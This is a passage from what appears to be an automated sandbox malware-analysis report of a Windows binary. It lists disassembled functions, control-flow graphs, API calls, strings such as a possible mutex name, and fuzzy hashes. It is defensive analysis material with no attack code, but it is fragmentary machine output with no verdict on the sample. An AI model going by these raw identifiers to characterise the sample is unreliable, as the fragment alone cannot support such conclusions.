                                                                        • VirtualProtect.KERNEL32(?,?,?,?,0000000140007E60,0000000140007E60,?,?,0000000140000000,?,0000000140001991), ref: 0000000140001CC7
                                                                        • memcpy.MSVCRT ref: 0000000140001CE0
                                                                        • GetLastError.KERNEL32(?,?,?,?,0000000140007E60,0000000140007E60,?,?,0000000140000000,?,0000000140001991), ref: 0000000140001D23
                                                                        Strings
                                                                        Memory Dump Source
                                                                        • Source File: 00000039.00000002.3836335953.0000000140001000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true
                                                                        • Associated: 00000039.00000002.3836305467.0000000140000000.00000004.00000001.00020000.00000000.sdmpDownload File
                                                                        • Associated: 00000039.00000002.3836377986.0000000140007000.00000002.00000001.00020000.00000000.sdmpDownload File
                                                                        • Associated: 00000039.00000002.3836401976.0000000140009000.00000004.00000001.00020000.00000000.sdmpDownload File
                                                                        • Associated: 00000039.00000002.3836435707.000000014000A000.00000002.00000001.00020000.00000000.sdmpDownload File
                                                                        Joe Sandbox IDA Plugin
                                                                        • Snapshot File: hcaresult_57_2_140000000_conhost.jbxd
                                                                        Similarity
                                                                        • API ID: Virtual$ErrorLastProtectQuerymemcpy
                                                                        • String ID: VirtualProtect failed with code 0x%x$ VirtualQuery failed for %d bytes at address %p$Address %p has no image-section
                                                                        • API String ID: 2595394609-2123141913
                                                                        • Opcode ID: 5c19ba99cb17a5c14b4f0aee5c729743694d0a433284d8997bc5a6e9dcc910dc
                                                                        • Instruction ID: dbc0e2da05bf2c3a89b79fffe31c6fbcea3b7de8689d75b26f3b62d16219dede
                                                                        • Opcode Fuzzy Hash: 5c19ba99cb17a5c14b4f0aee5c729743694d0a433284d8997bc5a6e9dcc910dc
                                                                        • Instruction Fuzzy Hash: EA4132F1201A4486FA66DF57F884BE927A0E78DBC4F594126EF0E877B1DA38C586C700
                                                                        Function 0000000140002104 Relevance: 9.1, APIs: 6, Instructions: 51COMMON
                                                                        Download Yara Rule

                                                                        Control-flow Graph

                                                                        • Executed
                                                                        • Not Executed
                                                                        control_flow_graph 529 140002104-14000210b 530 140002111-140002128 EnterCriticalSection 529->530 531 140002218-140002221 529->531 532 14000220b-140002212 LeaveCriticalSection 530->532 533 14000212e-14000213c 530->533 534 140002272-140002280 531->534 535 140002223-14000222d 531->535 532->531 536 14000214d-140002159 TlsGetValue GetLastError 533->536 537 140002241-140002263 DeleteCriticalSection 535->537 538 14000222f 535->538 540 14000215b-14000215e 536->540 541 140002140-140002147 536->541 537->534 539 140002230-14000223f free 538->539 539->537 539->539 540->541 542 140002160-14000216d 540->542 541->532 541->536 542->541
                                                                        APIs
                                                                        Memory Dump Source
                                                                        • Source File: 00000039.00000002.3836335953.0000000140001000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true
                                                                        • Associated: 00000039.00000002.3836305467.0000000140000000.00000004.00000001.00020000.00000000.sdmpDownload File
                                                                        • Associated: 00000039.00000002.3836377986.0000000140007000.00000002.00000001.00020000.00000000.sdmpDownload File
                                                                        • Associated: 00000039.00000002.3836401976.0000000140009000.00000004.00000001.00020000.00000000.sdmpDownload File
                                                                        • Associated: 00000039.00000002.3836435707.000000014000A000.00000002.00000001.00020000.00000000.sdmpDownload File
                                                                        Joe Sandbox IDA Plugin
                                                                        • Snapshot File: hcaresult_57_2_140000000_conhost.jbxd
                                                                        Similarity
                                                                        • API ID: CriticalSection$DeleteEnterErrorLastLeaveValuefree
                                                                        • String ID:
                                                                        • API String ID: 3326252324-0
                                                                        • Opcode ID: ecb18f28d2fc064c8c53c547f1d5c3dd6483a84d749c5779d416b176c4c7f308
                                                                        • Instruction ID: e8bdacf4eb02e2a59da25aef411a4b4d42b8ba143c70b14f7e985be0f995cf45
                                                                        • Opcode Fuzzy Hash: ecb18f28d2fc064c8c53c547f1d5c3dd6483a84d749c5779d416b176c4c7f308
                                                                        • Instruction Fuzzy Hash: 5721C5B1305A1192FA2BDB53F9583E92364BB6CBD0F444121EF5A57AB4DB7AC986C300
                                                                        Function 0000000140001E10 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 77COMMON
                                                                        Download Yara Rule

                                                                        Control-flow Graph

                                                                        • Executed
                                                                        • Not Executed
                                                                        control_flow_graph 544 140001e10-140001e2d 545 140001e3e-140001e48 544->545 546 140001e2f-140001e38 544->546 548 140001ea3-140001ea8 545->548 549 140001e4a-140001e53 545->549 546->545 547 140001f60-140001f69 546->547 548->547 552 140001eae-140001eb3 548->552 550 140001e55-140001e60 549->550 551 140001ecc-140001ed1 549->551 550->548 555 140001f23-140001f2d 551->555 556 140001ed3-140001ee2 signal 551->556 553 140001eb5-140001eba 552->553 554 140001efb-140001f0a call 140006c50 552->554 553->547 560 140001ec0 553->560 554->555 565 140001f0c-140001f10 554->565 558 140001f43-140001f45 555->558 559 140001f2f-140001f3f 555->559 556->555 561 140001ee4-140001ee8 556->561 558->547 559->558 560->555 562 140001eea-140001ef9 signal 561->562 563 140001f4e-140001f53 561->563 562->547 566 140001f5a 563->566 567 140001f12-140001f21 signal 565->567 568 140001f55 565->568 566->547 567->547 568->566
                                                                        Strings
                                                                        Memory Dump Source
                                                                        • Source File: 00000039.00000002.3836335953.0000000140001000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true
                                                                        • Associated: 00000039.00000002.3836305467.0000000140000000.00000004.00000001.00020000.00000000.sdmpDownload File
                                                                        • Associated: 00000039.00000002.3836377986.0000000140007000.00000002.00000001.00020000.00000000.sdmpDownload File
                                                                        • Associated: 00000039.00000002.3836401976.0000000140009000.00000004.00000001.00020000.00000000.sdmpDownload File
                                                                        • Associated: 00000039.00000002.3836435707.000000014000A000.00000002.00000001.00020000.00000000.sdmpDownload File
                                                                        Joe Sandbox IDA Plugin
                                                                        • Snapshot File: hcaresult_57_2_140000000_conhost.jbxd
                                                                        Similarity
                                                                        • API ID:
                                                                        • String ID: CCG
                                                                        • API String ID: 0-1584390748
                                                                        • Opcode ID: 52d5f3ba70cb489d7231570eb63cb082461152ce201432c497bb03c287481398
                                                                        • Instruction ID: 14efb12bbfdc906c575b5089e05b766e9e136cadf9555c6ac2d0f502a7a0cf39
                                                                        • Opcode Fuzzy Hash: 52d5f3ba70cb489d7231570eb63cb082461152ce201432c497bb03c287481398
                                                                        • Instruction Fuzzy Hash: B7213AB1B0150546FA77DA2BB9903F91192ABCC7E4F258535FF5A873F5DE3888C28241
                                                                        Function 00000001400066A0 Relevance: 6.2, APIs: 1, Strings: 3, Instructions: 185COMMON
                                                                        Download Yara Rule

                                                                        Control-flow Graph

                                                                        • Executed
                                                                        • Not Executed
                                                                        control_flow_graph 569 1400066a0-1400066bc 570 1400066eb-14000670f call 140006690 569->570 571 1400066be 569->571 576 140006715-140006729 call 140006690 570->576 577 140006936-140006948 570->577 573 1400066c5-1400066ca 571->573 575 1400066d0-1400066d3 573->575 575->577 578 1400066d9-1400066df 575->578 582 14000673f-140006751 576->582 578->575 579 1400066e1-1400066e6 578->579 579->577 583 140006733-14000673d 582->583 584 140006753-14000676d call 140006690 582->584 583->582 585 140006795-140006798 583->585 590 14000676f-140006791 call 140006690 * 2 584->590 591 140006730 584->591 585->577 587 14000679e-1400067ca call 140006690 malloc 585->587 594 14000692c 587->594 595 1400067d0-1400067d2 587->595 590->583 601 140006793 590->601 591->583 594->577 595->594 598 1400067d8-140006808 call 140006690 * 2 595->598 605 140006810-140006827 598->605 601->587 606 140006903-14000690b 605->606 607 14000682d-140006833 605->607 608 140006916-140006924 606->608 609 14000690d-140006910 606->609 610 140006882 607->610 611 140006835-140006853 call 140006690 607->611 608->573 613 14000692a 608->613 609->605 609->608 614 140006887-1400068c9 call 140006690 * 2 610->614 617 140006860-14000687e 611->617 613->577 622 1400068f8-1400068ff 614->622 623 1400068cb 614->623 617->617 619 140006880 617->619 619->614 622->606 624 1400068d0-1400068dc 623->624 625 1400068f3 624->625 626 1400068de-1400068f1 624->626 625->622 626->624 626->625
                                                                        APIs
                                                                        Strings
                                                                        Memory Dump Source
                                                                        • Source File: 00000039.00000002.3836335953.0000000140001000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true
                                                                        • Associated: 00000039.00000002.3836305467.0000000140000000.00000004.00000001.00020000.00000000.sdmpDownload File
                                                                        • Associated: 00000039.00000002.3836377986.0000000140007000.00000002.00000001.00020000.00000000.sdmpDownload File
                                                                        • Associated: 00000039.00000002.3836401976.0000000140009000.00000004.00000001.00020000.00000000.sdmpDownload File
                                                                        • Associated: 00000039.00000002.3836435707.000000014000A000.00000002.00000001.00020000.00000000.sdmpDownload File
                                                                        Joe Sandbox IDA Plugin
                                                                        • Snapshot File: hcaresult_57_2_140000000_conhost.jbxd
                                                                        Similarity
                                                                        • API ID: malloc
                                                                        • String ID: 4LKS$4LKS$\BaseNamedObjects\nxhbageuwj
                                                                        • API String ID: 2803490479-2801315105
                                                                        • Opcode ID: 706b27a29d2211272e8bf79c91a6133ebf541f38acc5a330101aacfc88c54a8d
                                                                        • Instruction ID: 0eab507f58cb9398dd06e48625181e876ab213bccb99e558fa40a49dcbf2fc7e
                                                                        • Opcode Fuzzy Hash: 706b27a29d2211272e8bf79c91a6133ebf541f38acc5a330101aacfc88c54a8d
                                                                        • Instruction Fuzzy Hash: EB71DFB27106108BE766DF3AA5007AB37A6F38CBCCF044218FF4A677A4EA35D8419750
                                                                        Function 0000000140001880 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 138memoryCOMMON
                                                                        Download Yara Rule

                                                                        Control-flow Graph

                                                                        • Executed
                                                                        • Not Executed
                                                                        control_flow_graph 627 140001880-14000189c 628 1400018a2-1400018f9 call 140002420 call 140002660 627->628 629 140001a0f-140001a1f 627->629 628->629 634 1400018ff-140001910 628->634 635 140001912-14000191c 634->635 636 14000193e-140001941 634->636 637 14000194d-140001954 635->637 638 14000191e-140001929 635->638 636->637 639 140001943-140001947 636->639 642 140001956-140001961 637->642 643 14000199e-1400019a6 637->643 638->637 640 14000192b-14000193a 638->640 639->637 641 140001a20-140001a26 639->641 640->636 645 140001b87-140001b98 call 140001d40 641->645 646 140001a2c-140001a37 641->646 647 140001970-14000199c call 140001ba0 642->647 643->629 644 1400019a8-1400019c1 643->644 648 1400019df-1400019e7 644->648 646->643 649 140001a3d-140001a5f 646->649 647->643 652 1400019e9-140001a0d VirtualProtect 648->652 653 1400019d0-1400019dd 648->653 654 140001a7d-140001a97 649->654 652->653 653->629 653->648 657 140001b74-140001b82 call 140001d40 654->657 658 140001a9d-140001afa 654->658 657->645 664 140001b22-140001b26 658->664 665 140001afc-140001b0e 658->665 668 140001b2c-140001b30 664->668 669 140001a70-140001a77 664->669 666 140001b5c-140001b6c 665->666 667 140001b10-140001b20 665->667 666->657 671 140001b6f call 140001d40 666->671 667->664 667->666 668->669 670 140001b36-140001b57 call 140001ba0 668->670 669->643 669->654 670->666 671->657
                                                                        APIs
                                                                        • VirtualProtect.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,0000000140001247), ref: 00000001400019F9
                                                                        Strings
                                                                        Memory Dump Source
                                                                        • Source File: 00000039.00000002.3836335953.0000000140001000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true
                                                                        • Associated: 00000039.00000002.3836305467.0000000140000000.00000004.00000001.00020000.00000000.sdmpDownload File
                                                                        • Associated: 00000039.00000002.3836377986.0000000140007000.00000002.00000001.00020000.00000000.sdmpDownload File
                                                                        • Associated: 00000039.00000002.3836401976.0000000140009000.00000004.00000001.00020000.00000000.sdmpDownload File
                                                                        • Associated: 00000039.00000002.3836435707.000000014000A000.00000002.00000001.00020000.00000000.sdmpDownload File
                                                                        Joe Sandbox IDA Plugin
                                                                        • Snapshot File: hcaresult_57_2_140000000_conhost.jbxd
                                                                        Similarity
                                                                        • API ID: ProtectVirtual
                                                                        • String ID: Unknown pseudo relocation bit size %d.$ Unknown pseudo relocation protocol version %d.
                                                                        • API String ID: 544645111-395989641
                                                                        • Opcode ID: 29b5f7649223b639debc673dbc577166402efb3148e29585f866e316227fb468
                                                                        • Instruction ID: b0a880438633e6e7738b6d9490c96ba2f871785a947ed42b66bea03ac4dc0962
                                                                        • Opcode Fuzzy Hash: 29b5f7649223b639debc673dbc577166402efb3148e29585f866e316227fb468
                                                                        • Instruction Fuzzy Hash: CF5115B6B11544DAEB12CF67F840BD82761A759BE8F548211FB1D077B4DB38C586C700
                                                                        Function 0000000140001800 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 30COMMON
                                                                        Download Yara Rule

                                                                        Control-flow Graph

                                                                        • Executed
                                                                        • Not Executed
                                                                        control_flow_graph 675 140001800-140001810 676 140001812-140001822 675->676 677 140001824 675->677 678 14000182b-140001867 call 140002290 fprintf 676->678 677->678
                                                                        APIs
                                                                        Strings
                                                                        Memory Dump Source
                                                                        • Source File: 00000039.00000002.3836335953.0000000140001000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true
                                                                        • Associated: 00000039.00000002.3836305467.0000000140000000.00000004.00000001.00020000.00000000.sdmpDownload File
                                                                        • Associated: 00000039.00000002.3836377986.0000000140007000.00000002.00000001.00020000.00000000.sdmpDownload File
                                                                        • Associated: 00000039.00000002.3836401976.0000000140009000.00000004.00000001.00020000.00000000.sdmpDownload File
                                                                        • Associated: 00000039.00000002.3836435707.000000014000A000.00000002.00000001.00020000.00000000.sdmpDownload File
                                                                        Joe Sandbox IDA Plugin
                                                                        • Snapshot File: hcaresult_57_2_140000000_conhost.jbxd
                                                                        Similarity
                                                                        • API ID: fprintf
                                                                        • String ID: Unknown error$_matherr(): %s in %s(%g, %g) (retval=%g)
                                                                        • API String ID: 383729395-3474627141
                                                                        • Opcode ID: 06181811500d279f898bb3d1d973a30ed5c17e00530caced0ae13738c96592a1
                                                                        • Instruction ID: c2dc9c1181b2715590d4ae65fb46cc0501878cfa8faa1410d24192dfb8456c0d
                                                                        • Opcode Fuzzy Hash: 06181811500d279f898bb3d1d973a30ed5c17e00530caced0ae13738c96592a1
                                                                        • Instruction Fuzzy Hash: E8F06271A14A4482E612DB6AB9417E96361E75D7C1F509211FF4D676A1DF38D1828310
                                                                        Function 000000014000219E Relevance: 5.0, APIs: 4, Instructions: 34COMMON
                                                                        Download Yara Rule

                                                                        Control-flow Graph

                                                                        • Executed
                                                                        • Not Executed
                                                                        control_flow_graph 681 14000219e-1400021a5 682 140002272-140002280 681->682 683 1400021ab-1400021c2 EnterCriticalSection 681->683 684 140002265-14000226c LeaveCriticalSection 683->684 685 1400021c8-1400021d6 683->685 684->682 686 1400021e9-1400021f5 TlsGetValue GetLastError 685->686 687 1400021f7-1400021fa 686->687 688 1400021e0-1400021e7 686->688 687->688 689 1400021fc-140002209 687->689 688->684 688->686 689->688
                                                                        APIs
                                                                        Memory Dump Source
                                                                        • Source File: 00000039.00000002.3836335953.0000000140001000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true
                                                                        • Associated: 00000039.00000002.3836305467.0000000140000000.00000004.00000001.00020000.00000000.sdmpDownload File
                                                                        • Associated: 00000039.00000002.3836377986.0000000140007000.00000002.00000001.00020000.00000000.sdmpDownload File
                                                                        • Associated: 00000039.00000002.3836401976.0000000140009000.00000004.00000001.00020000.00000000.sdmpDownload File
                                                                        • Associated: 00000039.00000002.3836435707.000000014000A000.00000002.00000001.00020000.00000000.sdmpDownload File
                                                                        Joe Sandbox IDA Plugin
                                                                        • Snapshot File: hcaresult_57_2_140000000_conhost.jbxd
                                                                        Similarity
                                                                        • API ID: CriticalSection$EnterErrorLastLeaveValue
                                                                        • String ID:
                                                                        • API String ID: 682475483-0
                                                                        • Opcode ID: 8b6b9414b034da60bc3dd14abf8880e5b88272e86660b7ba09a9639fca2dfda9
                                                                        • Instruction ID: 3a3b6563ab8dd847e8e53ef11ead7c23a3cdc09fead5d49227a0bc687d82e2c0
                                                                        • Opcode Fuzzy Hash: 8b6b9414b034da60bc3dd14abf8880e5b88272e86660b7ba09a9639fca2dfda9
                                                                        • Instruction Fuzzy Hash: E901A4B5305A0192FA17DB53FD083D86264BB6CBD1F494021EF0953AB4DB758996C300